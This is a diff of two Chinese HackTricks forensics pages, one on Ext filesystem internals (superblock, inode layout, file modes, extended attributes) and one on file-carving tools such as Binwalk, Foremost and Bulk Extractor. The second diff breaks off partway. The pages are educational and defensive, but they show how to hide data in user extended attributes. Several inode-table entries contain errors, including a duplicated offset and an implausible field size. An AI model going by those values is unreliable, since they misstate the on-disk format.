@ -1,158 +1,158 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>零基础学习AWS黑客攻击到高手</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Ext - 扩展文件系统
|
||||
|
||||
**Ext2** 是最常见的**非日志**文件系统(**不经常变化的分区**),如启动分区。**Ext3/4** 是**日志文件系统**,通常用于**其他分区**。
|
||||
**Ext2** 是最常见的**无日志**分区文件系统(**不经常更改的分区**,如引导分区)。**Ext3/4** 是**带日志**的,通常用于**其余分区**。
|
||||
|
||||
文件系统中的所有块组大小相同且顺序存储。这使得内核可以轻松地从其整数索引推导出磁盘中块组的位置。
|
||||
文件系统中的所有块组具有相同的大小并按顺序存储。这使得内核可以轻松地从整数索引推导出磁盘中块组的位置。
|
||||
|
||||
每个块组包含以下信息:
|
||||
|
||||
* 文件系统超级块的副本
|
||||
* 文件系统的超级块的副本
|
||||
* 块组描述符的副本
|
||||
* 数据块位图,用于识别组内的空闲块
|
||||
* inode位图,用于识别组内的空闲inode
|
||||
* inode表:它由一系列连续的块组成,每个块包含预定义的Ext2 inode数量。所有inode大小相同:128字节。1,024字节块包含8个inode,而4,096字节块包含32个inode。注意,在Ext2中,没有必要在磁盘上存储inode号码和相应块号码之间的映射,因为后者的值可以从块组号和inode表内的相对位置推导出来。例如,假设每个块组包含4,096个inode,我们想知道磁盘上inode 13,021的地址。在这种情况下,inode属于第三个块组,其磁盘地址存储在相应inode表的第733个条目中。如您所见,inode号码只是一个键,Ext2例程用它快速检索磁盘上的适当inode描述符
|
||||
* 数据块,包含文件。任何不包含有意义信息的块都被认为是空闲的。
|
||||
* 数据块位图,用于标识组内的空闲块
|
||||
* inode位图,用于标识组内的空闲inode
|
||||
* inode表:由一系列连续的块组成,每个块包含预定义的图1 Ext2 inode数量的inode。所有inode的大小相同:128字节。一个1,024字节的块包含8个inode,而一个4,096字节的块包含32个inode。请注意,在Ext2中,无需在磁盘上存储inode号和相应块号之间的映射,因为后者的值可以从块组号和inode表内的相对位置推导出。例如,假设每个块组包含4,096个inode,并且我们想知道磁盘上inode 13,021的地址。在这种情况下,该inode属于第三个块组,其磁盘地址存储在相应inode表的第733个条目中。如您所见,inode号只是Ext2例程用于快速检索磁盘上正确inode描述符的关键
|
||||
* 包含文件的数据块。任何不包含任何有意义信息的块被称为自由块。
|
||||
|
||||
![](<../../../.gitbook/assets/image (406).png>)
|
||||
|
||||
## Ext 可选功能
|
||||
## Ext可选功能
|
||||
|
||||
**功能影响**数据的位置,**如何**将数据存储在inodes中,其中一些可能提供**额外的元数据**进行分析,因此Ext中的功能很重要。
|
||||
**功能影响**数据的位置,**数据存储在inode中的方式,其中一些可能提供**附加元数据**进行分析,因此功能在Ext中很重要。
|
||||
|
||||
Ext有可选功能,您的操作系统可能支持也可能不支持,有3种可能性:
|
||||
Ext具有可选功能,您的操作系统可能支持或不支持,有3种可能性:
|
||||
|
||||
* 兼容
|
||||
* 不兼容
|
||||
* 只读兼容:可以挂载但不用于写入
|
||||
* 仅兼容读取:可以挂载但无法写入
|
||||
|
||||
如果有**不兼容**的功能,您将无法挂载文件系统,因为操作系统不知道如何访问数据。
|
||||
如果存在**不兼容**功能,则无法挂载文件系统,因为操作系统不知道如何访问数据。
|
||||
|
||||
{% hint style="info" %}
|
||||
怀疑的攻击者可能有非标准扩展
|
||||
疑似攻击者可能具有非标准扩展
|
||||
{% endhint %}
|
||||
|
||||
**任何工具**都能读取**超级块**,将能够指示**Ext文件系统**的**功能**,但您也可以使用`file -sL /dev/sd*`
|
||||
**任何**读取**超级块**的实用程序都将能够指示**Ext文件系统**的**功能**,但您也可以使用`file -sL /dev/sd*`
|
||||
|
||||
## 超级块
|
||||
|
||||
超级块是从开始的第一个1024字节,并在每个组的第一个块中重复,包含:
|
||||
超级块是从开头开始的前1024字节,它在每个组的第一个块中重复出现,并包含:
|
||||
|
||||
* 块大小
|
||||
* 总块数
|
||||
* 每个块组的块数
|
||||
* 第一个块组前的保留块
|
||||
* 总inodes
|
||||
* 每个块组的inodes
|
||||
* 卷名
|
||||
* 第一个块组之前的保留块
|
||||
* 总inode数
|
||||
* 每个块组的inode数
|
||||
* 卷名称
|
||||
* 最后写入时间
|
||||
* 最后挂载时间
|
||||
* 文件系统最后挂载的路径
|
||||
* 文件系统上次挂载的路径
|
||||
* 文件系统状态(干净?)
|
||||
|
||||
可以使用以下命令从Ext文件系统文件获取此信息:
|
||||
可以使用以下方法从Ext文件系统文件中获取此信息:
|
||||
```bash
|
||||
fsstat -o <offsetstart> /pat/to/filesystem-file.ext
|
||||
#You can get the <offsetstart> with the "p" command inside fdisk
|
||||
```
|
||||
您还可以使用免费的GUI应用程序:[https://www.disk-editor.org/index.html](https://www.disk-editor.org/index.html)\
|
||||
或者您也可以使用**python**来获取superblock信息:[https://pypi.org/project/superblock/](https://pypi.org/project/superblock/)
|
||||
您还可以使用免费的 GUI 应用程序:[https://www.disk-editor.org/index.html](https://www.disk-editor.org/index.html)\
|
||||
或者您也可以使用 **python** 来获取超级块信息:[https://pypi.org/project/superblock/](https://pypi.org/project/superblock/)
|
||||
|
||||
## inodes
|
||||
## inode
|
||||
|
||||
**inodes**包含了**blocks**的列表,这些**blocks**实际上**包含**了**文件**的**数据**。\
|
||||
如果文件很大,一个inode**可能包含指针**指向**其他inodes**,这些inode指向包含文件数据的blocks/更多inodes。
|
||||
**inode** 包含**包含**文件实际**数据**的**块**列表。\
|
||||
如果文件很大,inode **可能包含指针**指向**其他inode**,这些inode指向包含文件数据的块/更多inode。
|
||||
|
||||
![](<../../../.gitbook/assets/image (416).png>)
|
||||
|
||||
在**Ext2**和**Ext3**中,inodes的大小为**128B**,**Ext4**目前使用**156B**,但在磁盘上分配了**256B**以便将来扩展。
|
||||
在 **Ext2** 和 **Ext3** 中,inode 的大小为 **128B**,**Ext4** 目前使用 **156B**,但在磁盘上分配 **256B** 以允许未来扩展。
|
||||
|
||||
Inode结构:
|
||||
Inode 结构:
|
||||
|
||||
| 偏移量 | 大小 | 名称 | 描述 |
|
||||
| ------ | ---- | ----------------- | ---------------------------------------------- |
|
||||
| 0x0 | 2 | 文件模式 | 文件模式和类型 |
|
||||
| 0x2 | 2 | UID | 所有者ID的低16位 |
|
||||
| 0x4 | 4 | 大小Il | 文件大小的低32位 |
|
||||
| 0x8 | 4 | 访问时间 | 自纪元以来的访问时间(秒) |
|
||||
| 0xC | 4 | 更改时间 | 自纪元以来的更改时间(秒) |
|
||||
| 0x10 | 4 | 修改时间 | 自纪元以来的修改时间(秒) |
|
||||
| 0x14 | 4 | 删除时间 | 自纪元以来的删除时间(秒) |
|
||||
| 0x18 | 2 | GID | 组ID的低16位 |
|
||||
| 0x1A | 2 | 硬链接计数 | 硬链接计数 |
|
||||
| 0xC | 4 | 块Io | 块计数的低32位 |
|
||||
| 0x20 | 4 | 标志 | 标志 |
|
||||
| 0x24 | 4 | Union osd1 | Linux:I版本 |
|
||||
| 0x28 | 69 | 块\[15] | 15个指向数据块的点 |
|
||||
| 0x64 | 4 | 版本 | NFS的文件版本 |
|
||||
| 0x68 | 4 | 文件ACL低 | 扩展属性(ACL等)的低32位 |
|
||||
| 0x6C | 4 | 文件大小高 | 文件大小的高32位(仅限ext4) |
|
||||
| 0x70 | 4 | 已废弃片段 | 一个废弃的片段地址 |
|
||||
| 0x74 | 12 | Osd 2 | 第二个操作系统依赖的联合体 |
|
||||
| 0x74 | 2 | 块高 | 块计数的高16位 |
|
||||
| 0x76 | 2 | 文件ACL高 | 扩展属性(ACL等)的高16位 |
|
||||
| 0x78 | 2 | UID高 | 所有者ID的高16位 |
|
||||
| 0x7A | 2 | GID高 | 组ID的高16位 |
|
||||
| 0x7C | 2 | 校验和Io | inode校验和的低16位 |
|
||||
| 0x0 | 2 | 文件模式 | 文件模式和类型 |
|
||||
| 0x2 | 2 | UID | 所有者 ID 的低 16 位 |
|
||||
| 0x4 | 4 | Size Il | 文件大小的低 32 位 |
|
||||
| 0x8 | 4 | Atime | 自纪元以来的访问时间(秒) |
|
||||
| 0xC | 4 | Ctime | 自纪元以来的更改时间(秒) |
|
||||
| 0x10 | 4 | Mtime | 自纪元以来的修改时间(秒) |
|
||||
| 0x14 | 4 | Dtime | 自纪元以来的删除时间(秒) |
|
||||
| 0x18 | 2 | GID | 组 ID 的低 16 位 |
|
||||
| 0x1A | 2 | Hlink count | 硬链接计数 |
|
||||
| 0xC | 4 | Blocks Io | 块计数的低 32 位 |
|
||||
| 0x20 | 4 | Flags | 标志 |
|
||||
| 0x24 | 4 | Union osd1 | Linux:I 版本 |
|
||||
| 0x28 | 69 | Block\[15] | 指向数据块的 15 个指针 |
|
||||
| 0x64 | 4 | Version | NFS 的文件版本 |
|
||||
| 0x68 | 4 | File ACL low | 扩展属性(ACL 等)的低 32 位 |
|
||||
| 0x6C | 4 | File size hi | 文件大小的高 32 位(仅适用于 ext4) |
|
||||
| 0x70 | 4 | Obsolete fragment | 弃用的片段地址 |
|
||||
| 0x74 | 12 | Osd 2 | 第二个操作系统相关联合体 |
|
||||
| 0x74 | 2 | Blocks hi | 块计数的高 16 位 |
|
||||
| 0x76 | 2 | File ACL hi | 扩展属性(ACL 等)的高 16 位 |
|
||||
| 0x78 | 2 | UID hi | 所有者 ID 的高 16 位 |
|
||||
| 0x7A | 2 | GID hi | 组 ID 的高 16 位 |
|
||||
| 0x7C | 2 | Checksum Io | inode 校验和的低 16 位 |
|
||||
|
||||
"修改"是文件_内容_最后一次被修改的时间戳。这通常被称为"_mtime_"。\
|
||||
"更改"是文件_inode_最后一次被更改的时间戳,比如通过更改权限、所有权、文件名和硬链接数量。它通常被称为"_ctime_"。
|
||||
"修改" 是文件内容最后一次修改的时间戳。这通常称为 "_mtime_"。\
|
||||
"更改" 是文件 inode 最后一次更改的时间戳,例如通过更改权限、所有权、文件名和硬链接数。通常称为 "_ctime_"。
|
||||
|
||||
Inode结构扩展(Ext4):
|
||||
Inode 结构扩展(Ext4):
|
||||
|
||||
| 偏移量 | 大小 | 名称 | 描述 |
|
||||
| ------ | ---- | ------------ | ------------------------------------------ |
|
||||
| 0x80 | 2 | 额外大小 | 标准128字节之外使用了多少字节 |
|
||||
| 0x82 | 2 | 校验和高 | inode校验和的高16位 |
|
||||
| 0x84 | 4 | 更改时间额外 | 更改时间的额外位 |
|
||||
| 0x88 | 4 | 修改时间额外 | 修改时间的额外位 |
|
||||
| 0x8C | 4 | 访问时间额外 | 访问时间的额外位 |
|
||||
| 0x90 | 4 | 创建时间 | 文件创建时间(自纪元以来的秒数) |
|
||||
| 0x94 | 4 | 创建时间额外 | 文件创建时间的额外位 |
|
||||
| 0x98 | 4 | 版本高 | 版本的高32位 |
|
||||
| 0x9C | | 未使用 | 为将来扩展保留的空间 |
|
||||
| 偏移量 | 大小 | 名称 | 描述 |
|
||||
| ------ | ---- | ------------ | ---------------------------------------- |
|
||||
| 0x80 | 2 | 额外大小 | 使用标准 128 之外的字节数 |
|
||||
| 0x82 | 2 | 校验和高 | inode 校验和的高 16 位 |
|
||||
| 0x84 | 4 | Ctime extra | 更改时间额外位 |
|
||||
| 0x88 | 4 | Mtime extra | 修改时间额外位 |
|
||||
| 0x8C | 4 | Atime extra | 访问时间额外位 |
|
||||
| 0x90 | 4 | Crtime | 文件创建时间(自纪元以来的秒数) |
|
||||
| 0x94 | 4 | Crtime extra | 文件创建时间额外位 |
|
||||
| 0x98 | 4 | Version hi | 版本的高 32 位 |
|
||||
| 0x9C | | 未使用 | 未来扩展的保留空间 |
|
||||
|
||||
特殊inodes:
|
||||
特殊 inode:
|
||||
|
||||
| Inode | 特殊用途 |
|
||||
| ----- | --------------------------------------------------- |
|
||||
| 0 | 不存在的inode,编号从1开始 |
|
||||
| 1 | 损坏块列表 |
|
||||
| 2 | 根目录 |
|
||||
| 3 | 用户配额 |
|
||||
| 4 | 组配额 |
|
||||
| 5 | 引导加载器 |
|
||||
| 6 | 可恢复删除的目录 |
|
||||
| 7 | 保留的组描述符(用于调整文件系统大小) |
|
||||
| 8 | 日志 |
|
||||
| 9 | 排除inode(用于快照) |
|
||||
| 10 | 副本inode |
|
||||
| 11 | 第一个非保留inode(通常是lost + found) |
|
||||
| Inode | 特殊目的 |
|
||||
| ----- | -------------------------------------------------- |
|
||||
| 0 | 不存在的 inode,编号从 1 开始 |
|
||||
| 1 | 有缺陷的块列表 |
|
||||
| 2 | 根目录 |
|
||||
| 3 | 用户配额 |
|
||||
| 4 | 组配额 |
|
||||
| 5 | 引导加载程序 |
|
||||
| 6 | 未删除目录 |
|
||||
| 7 | 保留的组描述符(用于调整文件系统大小) |
|
||||
| 8 | 日志 |
|
||||
| 9 | 排除 inode(用于快照) |
|
||||
| 10 | 复制 inode |
|
||||
| 11 | 第一个非保留 inode(通常是 lost + found) |
|
||||
|
||||
{% hint style="info" %}
|
||||
请注意,创建时间仅在Ext4中出现。
|
||||
请注意,创建时间仅出现在 Ext4 中。
|
||||
{% endhint %}
|
||||
|
||||
通过知道inode编号,您可以轻松找到其索引:
|
||||
通过知道 inode 编号,您可以轻松找到其索引:
|
||||
|
||||
* **块组**,inode所属的块组:(Inode编号 - 1) / (每组Inodes)
|
||||
* **组内索引**:(Inode编号 - 1) mod(每组Inodes)
|
||||
* **到inode表的偏移量**:Inode编号 * (Inode大小)
|
||||
* "-1"是因为inode 0是未定义的(未使用)
|
||||
* inode 所属的**块组**:(Inode 编号 - 1) / (每组的 inode 数)
|
||||
* 其组内的**索引**:(Inode 编号 - 1) mod(每组的 inode 数)
|
||||
* 进入**inode 表**的**偏移量**:Inode 编号 \* (Inode 大小)
|
||||
* "-1" 是因为 inode 0 未定义(未使用)
|
||||
```bash
|
||||
ls -ali /bin | sort -n #Get all inode numbers and sort by them
|
||||
stat /bin/ls #Get the inode information of a file
|
||||
|
@ -161,59 +161,59 @@ icat -o <start offset> /path/to/image.ext 657103 #Cat the file
|
|||
```
|
||||
文件模式
|
||||
|
||||
| 数字 | 描述 |
|
||||
| ---- | -------------------------------------------------------------------------------------------- |
|
||||
| 编号 | 描述 |
|
||||
| ------ | --------------------------------------------------------------------------------------------------- |
|
||||
| **15** | **Reg/Slink-13/Socket-14** |
|
||||
| **14** | **目录/块位13** |
|
||||
| **13** | **字符设备/块位14** |
|
||||
| **14** | **目录/块位 13** |
|
||||
| **13** | **字符设备/块位 14** |
|
||||
| **12** | **FIFO** |
|
||||
| 11 | 设置UID |
|
||||
| 10 | 设置GID |
|
||||
| 9 | 粘滞位(没有它,任何对目录有写入和执行权限的人都可以删除和重命名文件) |
|
||||
| 8 | 所有者读取 |
|
||||
| 7 | 所有者写入 |
|
||||
| 6 | 所有者执行 |
|
||||
| 5 | 组读取 |
|
||||
| 4 | 组写入 |
|
||||
| 3 | 组执行 |
|
||||
| 2 | 其他读取 |
|
||||
| 1 | 其他写入 |
|
||||
| 0 | 其他执行 |
|
||||
| 11 | 设置UID |
|
||||
| 10 | 设置GID |
|
||||
| 9 | 粘着位(没有它,任何具有目录上写和执行权限的人都可以删除和重命名文件) |
|
||||
| 8 | 拥有者读取 |
|
||||
| 7 | 拥有者写入 |
|
||||
| 6 | 拥有者执行 |
|
||||
| 5 | 组读取 |
|
||||
| 4 | 组写入 |
|
||||
| 3 | 组执行 |
|
||||
| 2 | 其他人读取 |
|
||||
| 1 | 其他人写入 |
|
||||
| 0 | 其他人执行 |
|
||||
|
||||
粗体位(12, 13, 14, 15)表示文件的类型(目录、套接字等),只有一个粗体选项可能存在。
|
||||
粗体位(12、13、14、15)指示文件的类型(目录、套接字...)只能存在一个粗体选项。
|
||||
|
||||
目录
|
||||
|
||||
| 偏移量 | 大小 | 名称 | 描述 |
|
||||
| ---- | ---- | --------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 0x0 | 4 | Inode | |
|
||||
| 0x4 | 2 | 记录长度 | 记录长度 |
|
||||
| 0x6 | 1 | 名称长度 | 名称长度 |
|
||||
| 0x7 | 1 | 文件类型 | <p>0x00 未知<br>0x01 常规</p><p>0x02 目录</p><p>0x03 字符设备</p><p>0x04 块设备</p><p>0x05 FIFO</p><p>0x06 套接字</p><p>0x07 符号链接</p> |
|
||||
| 0x8 | | 名称 | 名称字符串(最多255个字符) |
|
||||
| ------ | ---- | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| 0x0 | 4 | 索引节点 | |
|
||||
| 0x4 | 2 | 记录长度 | 记录长度 |
|
||||
| 0x6 | 1 | 名称长度 | 名称长度 |
|
||||
| 0x7 | 1 | 文件类型 | <p>0x00 未知<br>0x01 常规</p><p>0x02 目录</p><p>0x03 字符设备</p><p>0x04 块设备</p><p>0x05 FIFO</p><p>0x06 套接字</p><p>0x07 符号链接</p> |
|
||||
| 0x8 | | 名称 | 名称字符串(最多255个字符) |
|
||||
|
||||
**为了提高性能,可以使用根哈希目录块。**
|
||||
**为提高性能,可以使用根哈希目录块。**
|
||||
|
||||
**扩展属性**
|
||||
|
||||
可以存储在
|
||||
|
||||
* inode之间的额外空间(256 - inode大小,通常=100)
|
||||
* 由inode中的file_acl指向的数据块
|
||||
* 索引节点之间的额外空间(256 - 索引节点大小,通常= 100)
|
||||
* 由索引节点中的file_acl指向的数据块
|
||||
|
||||
如果名称以"user"开头,则可以将任何内容作为用户属性存储。因此,数据可以以这种方式隐藏。
|
||||
如果名称以"user"开头,则可以用于存储任何用户属性。因此,数据可以通过这种方式隐藏。
|
||||
|
||||
扩展属性条目
|
||||
|
||||
| 偏移量 | 大小 | 名称 | 描述 |
|
||||
| ---- | ---- | ------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 0x0 | 1 | 名称长度 | 属性名称的长度 |
|
||||
| 0x1 | 1 | 名称索引 | <p>0x0 = 无前缀</p><p>0x1 = user. 前缀</p><p>0x2 = system.posix_acl_access</p><p>0x3 = system.posix_acl_default</p><p>0x4 = trusted.</p><p>0x6 = security.</p><p>0x7 = system.</p><p>0x8 = system.richacl</p> |
|
||||
| 0x2 | 2 | 值偏移 | 从第一个inode条目或块的开始的偏移 |
|
||||
| 0x4 | 4 | 值块 | 存储值的磁盘块或为此块为零 |
|
||||
| 0x8 | 4 | 值大小 | 值的长度 |
|
||||
| 0xC | 4 | 哈希 | 块中属性的哈希或如果在inode中则为零 |
|
||||
| 0x10 | | 名称 | 属性名称,不包括结尾的NULL |
|
||||
| ------ | ---- | ------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| 0x0 | 1 | 名称长度 | 属性名称长度 |
|
||||
| 0x1 | 1 | 名称索引 | <p>0x0 = 无前缀</p><p>0x1 = user. 前缀</p><p>0x2 = system.posix_acl_access</p><p>0x3 = system.posix_acl_default</p><p>0x4 = trusted.</p><p>0x6 = security.</p><p>0x7 = system.</p><p>0x8 = system.richacl</p> |
|
||||
| 0x2 | 2 | 值偏移 | 从第一个索引节点条目或块的起始处的偏移 |
|
||||
| 0x4 | 4 | 值块 | 存储值的磁盘块或此块的零 |
|
||||
| 0x8 | 4 | 值大小 | 值的长度 |
|
||||
| 0xC | 4 | 哈希 | 块中属性的哈希或如果在索引节点中则为零 |
|
||||
| 0x10 | | 名称 | 不带尾随NULL的属性名称 |
|
||||
```bash
|
||||
setfattr -n 'user.secret' -v 'This is a secret' file.txt #Save a secret using extended attributes
|
||||
getfattr file.txt #Get extended attribute names of a file
|
||||
|
@ -222,21 +222,6 @@ getdattr -n 'user.secret' file.txt #Get extended attribute called "user.secret"
|
|||
## 文件系统视图
|
||||
|
||||
要查看文件系统的内容,您可以**使用免费工具**:[https://www.disk-editor.org/index.html](https://www.disk-editor.org/index.html)\
|
||||
或者您可以使用 `mount` 命令在您的linux中挂载它。
|
||||
或者您可以在Linux中使用`mount`命令挂载它。
|
||||
|
||||
[https://piazza.com/class\_profile/get\_resource/il71xfllx3l16f/inz4wsb2m0w2oz#:\~:text=The%20Ext2%20file%20system%20divides,lower%20average%20disk%20seek%20time.](https://piazza.com/class\_profile/get\_resource/il71xfllx3l16f/inz4wsb2m0w2oz#:\~:text=The%20Ext2%20file%20system%20divides,lower%20average%20disk%20seek%20time.)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,37 +1,37 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习AWS黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到对您最重要的漏洞,以便您能更快修复它们。Intruder追踪您的攻击面,运行主动威胁扫描,在您的整个技术栈中找到问题,从API到Web应用程序和云系统。[**今天就免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
发现最重要的漏洞,以便更快修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
# Carving & Recovery tools
|
||||
# 数据碎片重组和恢复工具
|
||||
|
||||
更多工具在 [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
更多工具请参考[https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
||||
## Autopsy
|
||||
|
||||
在取证中用于从镜像中提取文件的最常见工具是 [**Autopsy**](https://www.autopsy.com/download/)。下载并安装它,让它处理文件以找到“隐藏”的文件。请注意,Autopsy支持磁盘镜像和其他类型的镜像,但不支持简单文件。
|
||||
在取证中最常用的从镜像中提取文件的工具是[**Autopsy**](https://www.autopsy.com/download/)。下载、安装并让其摄取文件以查找“隐藏”文件。请注意,Autopsy旨在支持磁盘镜像和其他类型的镜像,而不是简单文件。
|
||||
|
||||
## Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
**Binwalk** 是一个用于搜索二进制文件(如图像和音频文件)中嵌入的文件和数据的工具。\
|
||||
它可以通过`apt`安装,但[源代码](https://github.com/ReFirmLabs/binwalk)可以在github上找到。\
|
||||
**Binwalk**是一种用于搜索二进制文件(如图像和音频文件)中嵌入文件和数据的工具。\
|
||||
可以使用`apt`安装,但[源代码](https://github.com/ReFirmLabs/binwalk)可以在github上找到。\
|
||||
**有用的命令**:
|
||||
```bash
|
||||
sudo apt install binwalk #Insllation
|
||||
|
@ -41,7 +41,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
|||
```
|
||||
## Foremost
|
||||
|
||||
另一个常用的查找隐藏文件的工具是 **foremost**。你可以在 `/etc/foremost.conf` 找到 foremost 的配置文件。如果你只想搜索某些特定的文件,取消注释它们。如果你什么都不取消注释,foremost 将搜索其默认配置的文件类型。
|
||||
另一个常用的查找隐藏文件的工具是**foremost**。您可以在`/etc/foremost.conf`中找到foremost的配置文件。如果您只想搜索一些特定文件,请取消注释。如果您不取消注释任何内容,foremost将搜索其默认配置的文件类型。
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
|
@ -49,76 +49,76 @@ foremost -v -i file.img -o output
|
|||
```
|
||||
## **Scalpel**
|
||||
|
||||
**Scalpel** 是另一个可以用来查找和提取**嵌入在文件中的文件**的工具。在这种情况下,你需要在配置文件 (_/etc/scalpel/scalpel.conf_) 中取消注释你希望它提取的文件类型。
|
||||
**Scalpel** 是另一个工具,可用于查找和提取**嵌入在文件中的文件**。在这种情况下,您需要从配置文件(_/etc/scalpel/scalpel.conf_)中取消注释您希望提取的文件类型。
|
||||
```bash
|
||||
sudo apt-get install scalpel
|
||||
scalpel file.img -o output
|
||||
```
|
||||
## Bulk Extractor
|
||||
|
||||
此工具包含在kali中,但您也可以在此处找到:[https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
这个工具包含在kali中,但你也可以在这里找到它:[https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
|
||||
此工具可以扫描映像,并将在其中**提取pcaps**,**网络信息(URLs, 域名, IPs, MACs, 邮件)**以及更多**文件**。您只需执行:
|
||||
这个工具可以扫描一个镜像,并且会**提取其中的pcaps**,**网络信息(URLs、域名、IP地址、MAC地址、邮件)**以及更多**文件**。你只需要执行以下操作:
|
||||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
浏览工具收集的**所有信息**(密码?),**分析**数据**包**(阅读[**Pcaps分析**](../pcap-inspection/)),寻找**奇怪的域名**(与**恶意软件**或**不存在的**域名相关)。
|
